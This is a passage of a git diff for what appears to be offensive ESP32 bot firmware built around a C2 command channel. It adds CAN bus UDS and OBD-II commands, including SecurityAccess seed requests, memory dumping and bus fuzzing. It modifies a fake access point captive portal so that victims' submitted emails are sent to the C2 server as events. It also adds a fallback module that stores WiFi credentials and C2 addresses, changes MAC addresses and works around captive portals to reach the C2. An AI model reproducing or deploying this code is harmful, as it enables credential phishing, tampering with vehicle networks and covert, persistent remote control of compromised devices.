NULL, + .async = true, + }, + { + .name = "can_uds", + .sub = NULL, + .help = "Raw UDS request: [data_hex]", + .min_args = 2, + .max_args = 3, + .handler = (command_handler_t)cmd_can_uds, + .ctx = NULL, + .async = true, + }, + { + .name = "can_uds_session", + .sub = NULL, + .help = "DiagnosticSessionControl: ", + .min_args = 2, + .max_args = 2, + .handler = (command_handler_t)cmd_can_uds_session, + .ctx = NULL, + .async = false, + }, + { + .name = "can_uds_read", + .sub = NULL, + .help = "ReadDataByIdentifier: ", + .min_args = 2, + .max_args = 2, + .handler = (command_handler_t)cmd_can_uds_read, + .ctx = NULL, + .async = true, + }, + { + .name = "can_uds_dump", + .sub = NULL, + .help = "ReadMemoryByAddress: ", + .min_args = 3, + .max_args = 3, + .handler = (command_handler_t)cmd_can_uds_dump, + .ctx = NULL, + .async = true, + }, + { + .name = "can_uds_auth", + .sub = NULL, + .help = "SecurityAccess seed: [level]", + .min_args = 1, + .max_args = 2, + .handler = (command_handler_t)cmd_can_uds_auth, + .ctx = NULL, + .async = true, + }, +#endif /* CONFIG_CANBUS_UDS */ + + /* --- OBD-II commands (Phase 4) --- */ +#ifdef CONFIG_CANBUS_OBD + { + .name = "can_obd", + .sub = NULL, + .help = "Query OBD-II PID: ", + .min_args = 1, + .max_args = 1, + .handler = (command_handler_t)cmd_can_obd, + .ctx = NULL, + .async = true, + }, + { + .name = "can_obd_vin", + .sub = NULL, + .help = "Read Vehicle Identification Number", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_obd_vin, + .ctx = NULL, + .async = true, + }, + { + .name = "can_obd_dtc", + .sub = NULL, + .help = "Read Diagnostic Trouble Codes", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_obd_dtc, + .ctx = NULL, + .async = true, + }, + { + .name = "can_obd_supported", + .sub = NULL, + .help = "List supported OBD-II PIDs", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_obd_supported, + .ctx = NULL, + .async = true, + }, + { + .name = "can_obd_monitor", + .sub = NULL, + .help = "Stream PIDs to C2: [interval_ms]", + .min_args = 1, + .max_args = 2, + .handler = (command_handler_t)cmd_can_obd_monitor, + .ctx = NULL, + .async = true, + }, + { + .name = "can_obd_monitor_stop", + .sub = NULL, + .help = "Stop OBD-II monitoring", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_obd_monitor_stop, + .ctx = NULL, + .async = false, + }, +#endif /* CONFIG_CANBUS_OBD */ + + /* --- Fuzzing commands (Phase 5) --- */ +#ifdef CONFIG_CANBUS_FUZZ + { + .name = "can_fuzz_id", + .sub = NULL, + .help = "ID scan fuzz: [start_hex] [end_hex] [delay_ms]", + .min_args = 0, + .max_args = 3, + .handler = (command_handler_t)cmd_can_fuzz_id, + .ctx = NULL, + .async = true, + }, + { + .name = "can_fuzz_data", + .sub = NULL, + .help = "Data mutation fuzz: [seed_hex] [delay_ms]", + .min_args = 1, + .max_args = 3, + .handler = (command_handler_t)cmd_can_fuzz_data, + .ctx = NULL, + .async = true, + }, + { + .name = "can_fuzz_random", + .sub = NULL, + .help = "Random fuzz: [delay_ms] [count]", + .min_args = 0, + .max_args = 2, + .handler = (command_handler_t)cmd_can_fuzz_random, + .ctx = NULL, + .async = true, + }, + { + .name = "can_fuzz_stop", + .sub = NULL, + .help = "Stop fuzzing", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_fuzz_stop_cmd, + .ctx = NULL, + .async = false, + }, +#endif /* CONFIG_CANBUS_FUZZ */ +}; + +/* ============================================================ + * Registration + * ============================================================ */ + +void mod_canbus_register_commands(void) +{ + ESPILON_LOGI_PURPLE(TAG, "Registering CAN bus commands"); + + /* Init NVS config */ + can_config_init(); + + /* Load software filters */ + reload_sw_filters(); + + /* Create record mutex */ + if (!s_record_mutex) { + s_record_mutex = xSemaphoreCreateMutex(); + } + + for (size_t i = 0; i < sizeof(can_cmds) / sizeof(can_cmds[0]); i++) { + command_register(&can_cmds[i]); + } +} + +#endif /* CONFIG_MODULE_CANBUS */ diff --git a/espilon_bot/components/mod_canbus/cmd_canbus.h b/espilon_bot/components/mod_canbus/cmd_canbus.h new file mode 100644 index 0000000..fd94906 --- /dev/null +++ b/espilon_bot/components/mod_canbus/cmd_canbus.h @@ -0,0 +1,7 @@ +/* + * cmd_canbus.h + * CAN bus module — C2 command interface. + */ +#pragma once + +void mod_canbus_register_commands(void); diff --git a/espilon_bot/components/mod_fakeAP/CMakeLists.txt b/espilon_bot/components/mod_fakeAP/CMakeLists.txt index b36a9af..f73bad8 100644 --- a/espilon_bot/components/mod_fakeAP/CMakeLists.txt +++ b/espilon_bot/components/mod_fakeAP/CMakeLists.txt @@ -1,4 +1,4 @@ idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c" INCLUDE_DIRS . REQUIRES esp_http_server - PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command) \ No newline at end of file + PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core) \ No newline at end of file diff --git a/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c b/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c index b07d931..55a03c3 100644 --- a/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c +++ b/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c @@ -6,10 +6,10 @@ #include #include #include +#include #include "esp_log.h" -#include "command.h" #include "fakeAP_utils.h" #include "utils.h" @@ -18,7 +18,7 @@ /* ============================================================ * State * ============================================================ */ -static bool fakeap_running = false; +atomic_bool fakeap_active = false; static bool portal_running = false; static bool sniffer_running = false; @@ -40,7 +40,7 @@ static int cmd_fakeap_start( return -1; } - if (fakeap_running) { + if (fakeap_active) { msg_error(TAG, "FakeAP already running", req); return -1; } @@ -66,7 +66,7 @@ static int cmd_fakeap_start( } start_access_point(ssid, password, open); - fakeap_running = true; + fakeap_active = true; msg_info(TAG, "FakeAP started", req); return 0; @@ -85,7 +85,7 @@ static int cmd_fakeap_stop( (void)argv; (void)ctx; - if (!fakeap_running) { + if (!fakeap_active) { msg_error(TAG, "FakeAP not running", req); return -1; } @@ -101,7 +101,7 @@ static int cmd_fakeap_stop( } stop_access_point(); - fakeap_running = false; + fakeap_active = false; msg_info(TAG, "FakeAP stopped", req); return 0; @@ -127,7 +127,7 @@ static int cmd_fakeap_status( " Portal: %s\n" " Sniffer: %s\n" " Authenticated clients: %d", - fakeap_running ? "ON" : "OFF", + fakeap_active ? "ON" : "OFF", portal_running ? "ON" : "OFF", sniffer_running ? "ON" : "OFF", authenticated_count @@ -150,7 +150,7 @@ static int cmd_fakeap_clients( (void)argv; (void)ctx; - if (!fakeap_running) { + if (!fakeap_active) { msg_error(TAG, "FakeAP not running", req); return -1; } @@ -172,7 +172,7 @@ static int cmd_fakeap_portal_start( (void)argv; (void)ctx; - if (!fakeap_running) { + if (!fakeap_active) { msg_error(TAG, "Start FakeAP first", req); return -1; } diff --git a/espilon_bot/components/mod_fakeAP/mod_netsniff.c b/espilon_bot/components/mod_fakeAP/mod_netsniff.c index 7dbe973..7584f96 100644 --- a/espilon_bot/components/mod_fakeAP/mod_netsniff.c +++ b/espilon_bot/components/mod_fakeAP/mod_netsniff.c @@ -6,6 +6,7 @@ #include "fakeAP_utils.h" #include "utils.h" +#include "event_format.h" static const char *TAG = "MODULE_NET_SNIFFER"; @@ -57,7 +58,7 @@ static void wifi_sniffer_packet_handler( if (payload_len <= 0) return; - char printable[256]; + char printable[128]; extract_printable(payload, payload_len, printable, sizeof(printable)); if (!printable[0]) return; @@ -74,12 +75,22 @@ static void wifi_sniffer_packet_handler( if ((sniff_counter++ % 20) != 0) return; - msg_data( - TAG, - printable, - strlen(printable), - true, /* eof */ - NULL /* request_id */ + /* Extract source MAC from WiFi frame (addr2 = transmitter) */ + char src_mac[18]; + snprintf(src_mac, sizeof(src_mac), + "%02x:%02x:%02x:%02x:%02x:%02x", + frame[10], frame[11], frame[12], + frame[13], frame[14], frame[15]); + + char detail[128]; + snprintf(detail, sizeof(detail), + "keyword='%s' payload='%.64s'", + keywords[i], printable); + + event_send( + "WIFI_PROBE", "MEDIUM", + src_mac, "0.0.0.0", + 0, 0, detail, NULL ); return; } diff --git a/espilon_bot/components/mod_fakeAP/mod_web_server.c b/espilon_bot/components/mod_fakeAP/mod_web_server.c index 10c3076..61fc59a 100644 --- a/espilon_bot/components/mod_fakeAP/mod_web_server.c +++ b/espilon_bot/components/mod_fakeAP/mod_web_server.c @@ -10,6 +10,7 @@ #include "fakeAP_utils.h" #include "utils.h" +#include "event_format.h" #define TAG "CAPTIVE_PORTAL" @@ -126,13 +127,14 @@ static esp_err_t post_handler(httpd_req_t *req) char *end = strchr(email, '&'); if (end) *end = '\0'; - /* Send captured email (NOUVELLE SIGNATURE) */ - msg_data( - TAG, - email, - strlen(email), - true, /* eof */ - NULL + /* Send captured credential as HP| event */ + char detail[128]; + snprintf(detail, sizeof(detail), "user='%s'", email); + event_send( + "SVC_AUTH_ATTEMPT", "HIGH", + "00:00:00:00:00:00", + ip4addr_ntoa(&client_ip), + 0, 80, detail, NULL ); mark_authenticated(client_ip); diff --git a/espilon_bot/components/mod_fallback/CMakeLists.txt b/espilon_bot/components/mod_fallback/CMakeLists.txt new file mode 100644 index 0000000..0566642 --- /dev/null +++ b/espilon_bot/components/mod_fallback/CMakeLists.txt @@ -0,0 +1,5 @@ +idf_component_register( + SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c + INCLUDE_DIRS . + REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer +) diff --git a/espilon_bot/components/mod_fallback/cmd_fallback.c b/espilon_bot/components/mod_fallback/cmd_fallback.c new file mode 100644 index 0000000..ce71d4b --- /dev/null +++ b/espilon_bot/components/mod_fallback/cmd_fallback.c @@ -0,0 +1,172 @@ +/* + * cmd_fallback.c + * Fallback resilient connectivity — 3 C2 commands for pre-configuration. + * + * The hunt itself is fully autonomous (no C2 command to start it). + * These commands are for status + pre-loading known networks while connected. + */ +#include "sdkconfig.h" +#include "cmd_fallback.h" + +#ifdef CONFIG_MODULE_FALLBACK + +#include +#include + +#include "esp_log.h" +#include "utils.h" + +#include "fb_config.h" +#include "fb_hunt.h" +#include "fb_stealth.h" + +#define TAG "FB" + +/* ============================================================ + * COMMAND: fb_status + * Report state, SSID, method, MAC, stored networks count. + * ============================================================ */ +static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + fb_state_t state = fb_hunt_get_state(); + uint8_t mac[6]; + fb_stealth_get_current_mac(mac); + + char buf[256]; + snprintf(buf, sizeof(buf), + "state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X" + " nets=%d c2_fb=%d", + fb_hunt_state_name(state), + fb_hunt_connected_ssid(), + fb_hunt_connected_method(), + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], + fb_config_net_count(), + fb_config_c2_count()); + + msg_info(TAG, buf, req); + return 0; +} + +/* ============================================================ + * COMMAND: fb_net_add [pass] + * Add/update a known network. Pass "" to remove. + * ============================================================ */ +static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 1) { + msg_error(TAG, "usage: fb_net_add [pass]", req); + return -1; + } + + const char *ssid = argv[0]; + const char *pass = (argc >= 2) ? argv[1] : ""; + + /* Empty string for pass means "remove" */ + if (argc >= 2 && strcmp(pass, "\"\"") == 0) { + if (fb_config_net_remove(ssid)) { + char buf[96]; + snprintf(buf, sizeof(buf), "Removed network '%s'", ssid); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "Network not found", req); + } + return 0; + } + + if (fb_config_net_add(ssid, pass)) { + char buf[96]; + snprintf(buf, sizeof(buf), "Added network '%s'", ssid); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "Failed to add network (full?)", req); + } + return 0; +} + +/* ============================================================ + * COMMAND: fb_net_list + * List known networks. + * ============================================================ */ +static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS]; + int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS); + + if (count == 0) { + msg_info(TAG, "No known networks", req); + return 0; + } + + for (int i = 0; i < count; i++) { + char line[128]; + snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s", + i, nets[i].ssid, + nets[i].pass[0] ? "***" : "(open)"); + msg_data(TAG, line, strlen(line), (i == count - 1), req); + } + + return 0; +} + +/* ============================================================ + * Command table + * ============================================================ */ +static const command_t fb_cmds[] = { + { + .name = "fb_status", + .sub = NULL, + .help = "Fallback state, MAC, method, config", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_fb_status, + .ctx = NULL, + .async = false, + }, + { + .name = "fb_net_add", + .sub = NULL, + .help = "Add known network: fb_net_add [pass]", + .min_args = 1, + .max_args = 2, + .handler = (command_handler_t)cmd_fb_net_add, + .ctx = NULL, + .async = false, + }, + { + .name = "fb_net_list", + .sub = NULL, + .help = "List known networks", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_fb_net_list, + .ctx = NULL, + .async = false, + }, +}; + +/* ============================================================ + * Registration + * ============================================================ */ +void mod_fallback_register_commands(void) +{ + ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands"); + + fb_config_init(); + fb_hunt_init(); + + for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) { + command_register(&fb_cmds[i]); + } +} + +#else /* !CONFIG_MODULE_FALLBACK */ + +void mod_fallback_register_commands(void) { /* empty */ } + +#endif /* CONFIG_MODULE_FALLBACK */ diff --git a/espilon_bot/components/mod_fallback/cmd_fallback.h b/espilon_bot/components/mod_fallback/cmd_fallback.h new file mode 100644 index 0000000..ddc5cf8 --- /dev/null +++ b/espilon_bot/components/mod_fallback/cmd_fallback.h @@ -0,0 +1,8 @@ +/* + * cmd_fallback.h + * Fallback resilient connectivity module. + * Compiled as empty when CONFIG_MODULE_FALLBACK is not set. + */ +#pragma once + +void mod_fallback_register_commands(void); diff --git a/espilon_bot/components/mod_fallback/fb_captive.c b/espilon_bot/components/mod_fallback/fb_captive.c new file mode 100644 index 0000000..1ee7e82 --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_captive.c @@ -0,0 +1,271 @@ +/* + * fb_captive.c + * Captive portal detection and bypass strategies. + * + * Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204 + * - 204 = no portal (internet open) + * - 200/302 = captive portal detected + * + * Bypass strategies (in order): + * 1. Direct C2 port — often not intercepted by portals + * 2. POST accept — parse 302 redirect, GET portal accept page + * 3. Wait + retry — some portals open after DNS traffic + */ +#include "sdkconfig.h" +#include "fb_captive.h" + +#ifdef CONFIG_MODULE_FALLBACK + +#include +#include +#include + +#include "esp_log.h" +#include "lwip/sockets.h" +#include "lwip/netdb.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "utils.h" + +static const char *TAG = "FB_CAPTIVE"; + +#define CAPTIVE_TIMEOUT_S 5 +#define CAPTIVE_RX_BUF 512 + +/* ============================================================ + * Raw HTTP request to check connectivity + * ============================================================ */ + +static bool resolve_host(const char *host, struct in_addr *out) +{ + struct addrinfo hints = {0}; + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + + struct addrinfo *res = NULL; + int err = lwip_getaddrinfo(host, NULL, &hints, &res); + if (err != 0 || !res) { + ESP_LOGW(TAG, "DNS resolve failed for '%s'", host); + return false; + } + + struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; + *out = addr->sin_addr; + lwip_freeaddrinfo(res); + return true; +} + +static int http_get_status(const char *host, int port, const char *path, + char *location_out, size_t location_cap) +{ + struct in_addr ip; + if (!resolve_host(host, &ip)) return 0; + + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return 0; + + struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr = ip; + + if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) { + lwip_close(s); + return 0; + } + + char req[256]; + int req_len = snprintf(req, sizeof(req), + "GET %s HTTP/1.0\r\n" + "Host: %s\r\n" + "Connection: close\r\n" + "User-Agent: Mozilla/5.0\r\n" + "\r\n", + path, host); + + if (lwip_write(s, req, req_len) <= 0) { + lwip_close(s); + return 0; + } + + char buf[CAPTIVE_RX_BUF]; + int total = 0; + int len; + while (total < (int)sizeof(buf) - 1) { + len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0); + if (len <= 0) break; + total += len; + buf[total] = '\0'; + if (strstr(buf, "\r\n\r\n")) break; + } + lwip_close(s); + + if (total == 0) return 0; + buf[total] = '\0'; + + int status = 0; + char *sp = strchr(buf, ' '); + if (sp) { + status = atoi(sp + 1); + } + + if (location_out && location_cap > 0) { + location_out[0] = '\0'; + char *loc = strstr(buf, "Location: "); + if (!loc) loc = strstr(buf, "location: "); + if (loc) { + loc += 10; + char *end = strstr(loc, "\r\n"); + if (end) { + size_t copy_len = end - loc; + if (copy_len >= location_cap) copy_len = location_cap - 1; + memcpy(location_out, loc, copy_len); + location_out[copy_len] = '\0'; + } + } + } + + return status; +} + +/* ============================================================ + * Captive portal detection + * ============================================================ */ + +fb_portal_status_t fb_captive_detect(void) +{ + ESP_LOGI(TAG, "Checking for captive portal..."); + + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + + if (status == 204) { + ESP_LOGI(TAG, "No captive portal (got 204)"); + return FB_PORTAL_NONE; + } + + if (status == 200 || status == 302 || status == 301) { + ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status); + return FB_PORTAL_DETECTED; + } + + if (status == 0) { + status = http_get_status( + "captive.apple.com", 80, + "/hotspot-detect.html", NULL, 0); + + if (status == 200) { + ESP_LOGW(TAG, "Apple check returned 200 — may be portal"); + return FB_PORTAL_DETECTED; + } + + ESP_LOGW(TAG, "Connectivity check failed (no response)"); + return FB_PORTAL_UNKNOWN; + } + + ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status); + return FB_PORTAL_DETECTED; +} + +/* ============================================================ + * Captive portal bypass + * ============================================================ */ + +bool fb_captive_bypass(void) +{ + ESP_LOGI(TAG, "Attempting captive portal bypass..."); + + /* Strategy 1: Direct C2 port */ + { + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s >= 0) { + struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(CONFIG_SERVER_PORT); + addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP); + + if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) { + lwip_close(s); + ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT); + return true; + } + lwip_close(s); + } + ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed"); + } + + /* Strategy 2: Follow redirect + GET accept page */ + { + char location[256] = {0}; + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", location, sizeof(location)); + + if ((status == 302 || status == 301) && location[0]) { + ESP_LOGI(TAG, "Portal redirect to: %s", location); + + char *host_start = strstr(location, "://"); + if (host_start) { + host_start += 3; + char *path_start = strchr(host_start, '/'); + char host_buf[64] = {0}; + + if (path_start) { + size_t hlen = path_start - host_start; + if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1; + memcpy(host_buf, host_start, hlen); + } else { + strncpy(host_buf, host_start, sizeof(host_buf) - 1); + path_start = "/"; + } + + int p_status = http_get_status(host_buf, 80, path_start, NULL, 0); + ESP_LOGI(TAG, "Portal page status: %d", p_status); + + vTaskDelay(pdMS_TO_TICKS(2000)); + int check = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + if (check == 204) { + ESP_LOGI(TAG, "Bypass: portal auto-accepted!"); + return true; + } + } + } + ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed"); + } + + /* Strategy 3: Wait + retry */ + { + ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s..."); + vTaskDelay(pdMS_TO_TICKS(10000)); + + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + if (status == 204) { + ESP_LOGI(TAG, "Bypass: portal opened after wait!"); + return true; + } + ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed"); + } + + ESP_LOGW(TAG, "All captive portal bypass strategies failed"); + return false; +} + +#else /* !CONFIG_MODULE_FALLBACK */ + +fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; } +bool fb_captive_bypass(void) { return false; } + +#endif /* CONFIG_MODULE_FALLBACK */ diff --git a/espilon_bot/components/mod_fallback/fb_captive.h b/espilon_bot/components/mod_fallback/fb_captive.h new file mode 100644 index 0000000..ce1dcef --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_captive.h @@ -0,0 +1,24 @@ +/* + * fb_captive.h + * Captive portal detection and bypass strategies. + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FB_PORTAL_NONE, /* No captive portal — internet is open */ + FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */ + FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */ +} fb_portal_status_t; + +fb_portal_status_t fb_captive_detect(void); +bool fb_captive_bypass(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_fallback/fb_config.c b/espilon_bot/components/mod_fallback/fb_config.c new file mode 100644 index 0000000..1b93429 --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_config.c @@ -0,0 +1,454 @@ +/* + * fb_config.c + * NVS-backed storage for known WiFi networks and C2 fallback addresses. + * Namespace: "fb_cfg" — auto-migrates from old "rt_cfg" on first boot. + */ +#include "sdkconfig.h" +#include "fb_config.h" + +#ifdef CONFIG_MODULE_FALLBACK + +#include +#include + +#include "nvs_flash.h" +#include "nvs.h" +#include "esp_log.h" +#include "esp_wifi.h" + +static const char *TAG = "FB_CFG"; +static const char *NVS_NS = "fb_cfg"; + +/* ============================================================ + * NVS migration from old rt_cfg namespace + * ============================================================ */ + +static void migrate_from_rt_cfg(void) +{ + nvs_handle_t old_h, new_h; + if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK) + return; /* No old data */ + + if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) { + nvs_close(old_h); + return; + } + + /* Check if already migrated */ + int32_t new_count = -1; + if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) { + nvs_close(old_h); + nvs_close(new_h); + return; + } + + /* Copy network count */ + int32_t old_count = 0; + nvs_get_i32(old_h, "rt_count", &old_count); + nvs_set_i32(new_h, "fb_count", old_count); + + /* Copy each network entry */ + char key[16]; + for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) { + char buf[FB_PASS_MAX_LEN]; + size_t len; + + snprintf(key, sizeof(key), "n_%d", i); + len = FB_SSID_MAX_LEN; + memset(buf, 0, sizeof(buf)); + if (nvs_get_str(old_h, key, buf, &len) == ESP_OK) + nvs_set_str(new_h, key, buf); + + snprintf(key, sizeof(key), "p_%d", i); + len = FB_PASS_MAX_LEN; + memset(buf, 0, sizeof(buf)); + if (nvs_get_str(old_h, key, buf, &len) == ESP_OK) + nvs_set_str(new_h, key, buf); + } + + /* Copy C2 fallbacks */ + int32_t c2_count = 0; + nvs_get_i32(old_h, "c2_count", &c2_count); + nvs_set_i32(new_h, "c2_count", c2_count); + + for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) { + char buf[FB_ADDR_MAX_LEN]; + size_t len = FB_ADDR_MAX_LEN; + snprintf(key, sizeof(key), "c2_%d", i); + memset(buf, 0, sizeof(buf)); + if (nvs_get_str(old_h, key, buf, &len) == ESP_OK) + nvs_set_str(new_h, key, buf); + } + + /* Copy original MAC */ + uint8_t mac[6]; + size_t mac_len = 6; + if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK) + nvs_set_blob(new_h, "orig_mac", mac, 6); + + nvs_commit(new_h); + nvs_close(old_h); + nvs_close(new_h); + + ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg", + (int)old_count, (int)c2_count); +} + +/* ============================================================ + * Init + * ============================================================ */ +void fb_config_init(void) +{ + migrate_from_rt_cfg(); + + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err == ESP_OK) { + nvs_close(h); + ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS); + } else { + ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err)); + } +} + +/* ============================================================ + * Known WiFi networks + * ============================================================ */ + +static void net_key_ssid(int idx, char *out, size_t len) +{ + snprintf(out, len, "n_%d", idx); +} + +static void net_key_pass(int idx, char *out, size_t len) +{ + snprintf(out, len, "p_%d", idx); +} + +int fb_config_net_count(void) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "fb_count", &count); + nvs_close(h); + return (int)count; +} + +int fb_config_net_list(fb_network_t *out, int max_count) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "fb_count", &count); + if (count > max_count) count = max_count; + if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS; + + char key[16]; + for (int i = 0; i < count; i++) { + memset(&out[i], 0, sizeof(fb_network_t)); + + net_key_ssid(i, key, sizeof(key)); + size_t len = FB_SSID_MAX_LEN; + nvs_get_str(h, key, out[i].ssid, &len); + + net_key_pass(i, key, sizeof(key)); + len = FB_PASS_MAX_LEN; + nvs_get_str(h, key, out[i].pass, &len); + } + + nvs_close(h); + return (int)count; +} + +bool fb_config_net_add(const char *ssid, const char *pass) +{ + if (!ssid || !ssid[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "fb_count", &count); + + /* Check if SSID already exists → update */ + char key[16]; + for (int i = 0; i < count; i++) { + net_key_ssid(i, key, sizeof(key)); + char existing[FB_SSID_MAX_LEN] = {0}; + size_t len = FB_SSID_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, ssid) == 0) { + net_key_pass(i, key, sizeof(key)); + nvs_set_str(h, key, pass ? pass : ""); + nvs_commit(h); + nvs_close(h); + ESP_LOGI(TAG, "Updated network '%s'", ssid); + return true; + } + } + } + + if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) { + nvs_close(h); + ESP_LOGW(TAG, "Known networks full (%d)", (int)count); + return false; + } + + net_key_ssid(count, key, sizeof(key)); + nvs_set_str(h, key, ssid); + + net_key_pass(count, key, sizeof(key)); + nvs_set_str(h, key, pass ? pass : ""); + + count++; + nvs_set_i32(h, "fb_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count); + return true; +} + +bool fb_config_net_remove(const char *ssid) +{ + if (!ssid || !ssid[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "fb_count", &count); + + int found = -1; + char key[16]; + for (int i = 0; i < count; i++) { + net_key_ssid(i, key, sizeof(key)); + char existing[FB_SSID_MAX_LEN] = {0}; + size_t len = FB_SSID_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, ssid) == 0) { + found = i; + break; + } + } + } + + if (found < 0) { + nvs_close(h); + return false; + } + + /* Shift entries down */ + for (int i = found; i < count - 1; i++) { + char src_key[16], dst_key[16]; + char buf[FB_PASS_MAX_LEN]; + size_t len; + + net_key_ssid(i + 1, src_key, sizeof(src_key)); + net_key_ssid(i, dst_key, sizeof(dst_key)); + len = FB_SSID_MAX_LEN; + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + + net_key_pass(i + 1, src_key, sizeof(src_key)); + net_key_pass(i, dst_key, sizeof(dst_key)); + len = FB_PASS_MAX_LEN; + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + } + + net_key_ssid(count - 1, key, sizeof(key)); + nvs_erase_key(h, key); + net_key_pass(count - 1, key, sizeof(key)); + nvs_erase_key(h, key); + + count--; + nvs_set_i32(h, "fb_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count); + return true; +} + +/* ============================================================ + * C2 fallback addresses + * ============================================================ */ + +int fb_config_c2_count(void) +{ + nvs_handle_t h; + if 